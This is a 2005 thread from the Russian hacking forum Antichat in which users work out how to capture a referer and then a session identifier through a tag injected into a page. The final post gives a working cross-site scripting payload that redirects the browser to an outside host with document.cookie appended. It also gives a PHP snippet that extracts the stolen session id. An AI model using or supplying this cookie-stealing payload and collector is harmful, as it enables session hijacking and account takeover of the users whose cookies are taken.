Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Http_referer (https://forum.antichat.xyz/showthread.php?t=4946)

Майор 30.01.2005 01:24

Http_referer
 
Как стянуть HTTP_REFERER при переходе со страницы
Например
<image src=javascript:window.location.href="http://www.adres.ru/l.php">

l.php :

<?
echo $HTTP_REFERER;
?>

Ничего не выводиться ...., почему ???

UM0RA 30.01.2005 01:52

попробуй так:

<?
global $HTTP_REFERER;
echo $HTTP_REFERER;
?>
Иногда переменные окружения надо заранее объявлять как глобальные

Algol 30.01.2005 02:21

При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.

В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">

Майор 30.01.2005 04:20

Цитата:

Сообщение от Algol
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.

В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">

Спасибо !

Майор 31.01.2005 01:29

Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода:
Код HTML:

<image src=javascript:window.location.href="http://www.adres.ru/l.php">
Если сначало стянуть referer так, то загрузить страницу нельзя в текущее окно IE :
Код HTML:

<image src="http://www.adres.ru/l.php">
А если сохранять referer в файл где то на хостинге, то файлы обновляется не мгновенно........, то есть так не пройдёт :
Код HTML:

]<image src="http://www.adres.ru/referer.php">
<image src=javascript:window.location.href="http://www.adres.ru/l.php">

Вот какая проблема :(

Algol 03.02.2005 00:12

Если честно, то ничего не понял из последнего постинга ))

Майор 03.02.2005 03:27

Цитата:

Сообщение от Algol
Если честно, то ничего не понял из последнего постинга ))

Проблема в том, что надо и идентификатор сесии стянуть со страницы, и с этойже страницы зделать редирект на другую с этим(подставленным) идентификатором :eek:

Algol 03.02.2005 18:07

Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?

Майор 03.02.2005 20:53

Цитата:

Сообщение от Algol
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?

Ну коли через реферер никак, то через куки как-нибудь ...

Майор 03.02.2005 23:53

Точно! решение найдено
<image src=javascript&#13:window.location.href="http://adress.ru/test.php?"+document.cookie;>

<?
$nomer=strpos("$QUERY_STRING","rm_")+3;
$id=substr("$QUERY_STRING","$nomer",35);
?>


Время: 21:16